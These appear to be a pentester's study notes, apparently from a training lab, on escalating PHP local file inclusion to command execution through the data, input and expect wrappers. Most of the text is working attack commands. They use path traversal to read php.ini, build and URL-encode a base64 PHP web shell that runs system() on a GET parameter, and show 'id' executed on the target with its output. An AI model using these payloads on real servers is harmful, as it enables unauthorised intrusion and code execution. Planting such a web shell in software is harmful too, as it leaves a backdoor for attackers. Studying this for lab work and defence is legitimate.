the php wrapper can be used to include external data, including PHP code. this data wrapper can only be used in an attack if the "allow_url_include" setting is enabled in the PHP configurations.
METHOD 1: DATA WRAPPER
#read the PHP configuration file through the LFI vulnerability
root@oco:~$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...4KO2ZmaS5wcmVsb2FkPQo=<p class="read-more">
* configuration file default location
- apache: /etc/php/{phpVersion}/apache2/php.ini
- nginx: /etc/php/{phpVersion}/fpm/php.ini)
* start with the latest PHP version and move to earlier versions to identify the version if necessary
- the base64 filter must be used IOT not break the output
root@oco:~$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
* this option is not enabled by default, and is required for several other LFI attacks
#base64 encoded strings can be passed to the data wrapper via the text/plain;base64
#create a base64 encoded basic PHP web shell
root@oco:~$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
#url encode the special characters of the base64 string
BURP > Decoder
original: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
input: +==
encode as: URL
output: %2b%3d%3d
joined: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2bCg%3d%3d
#pass the url encoded base64 string to the data wrapper (data://text/plain;base64) along with the commands to the web shell with (&cmd=<COMMAND>)
root@oco:~$ curl -s 'http://94.237.62.251:46725/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
METHOD 2: INPUT WRAPPER
#read the PHP configuration file through the LFI vulnerability
root@oco:~$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...4KO2ZmaS5wcmVsb2FkPQo=<p class="read-more">
* configuration file default location
- apache: /etc/php/{phpVersion}/apache2/php.ini
- nginx: /etc/php/{phpVersion}/fpm/php.ini)
* start with the latest PHP version and move to earlier versions to identify the version if necessary
- the base64 filter must be used IOT not break the output
root@oco:~$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
* this option is not enabled by default, and is required for several other LFI attacks
#pass the payload to the input wrapper
root@oco:~$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
* To pass the command as a GET request, the vulnerable function must also accept GET request (i.e. use $_REQUEST). If it only accepts POST requests, then the command can be directly put in PHP code, instead of a dynamic web shell (e.g. <\?php system('id')?>)
METHOD 3: EXPECT WRAPPER
the expect wrapper allows for commands to be directly run through URL streams. it works similarly to the previous web shells, but doesn't require an actual web shell as part of the command as it is designed to execute arbitrary commands. this is an external wrapper that needs to be manually installed and enabled on the back-end server
#read the PHP configuration file through the LFI vulnerability
root@oco:~$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...4KO2ZmaS5wcmVsb2FkPQo=<p class="read-more">
* configuration file default location
- apache: /etc/php/{phpVersion}/apache2/php.ini
- nginx: /etc/php/{phpVersion}/fpm/php.ini)
* start with the latest PHP version and move to earlier versions to identify the version if necessary
- the base64 filter must be used IOT not break the output
root@oco:~$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep -e allow_url -e expect
; There is no name validation. If PHP can't find an expected
; idea to limit this time on productions servers in order to eliminate unexpectedly
allow_url_fopen = On
allow_url_include = On
; Protect the shared memory from unexpected writing during script execution.
extension=expect
#pass the payload to the expect wrapper
root@oco:~$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
similar to the data wrapper, the wrapper can be used to include external input and execute PHP code. the main difference is that the input is passed as a POST request to input wrapper as opposed to the GET request used by the data wrapper. this wrapper also depends on the "allow_url_include" setting to be enabled and the vulnerable parameter must accept POST requests for this attack to work.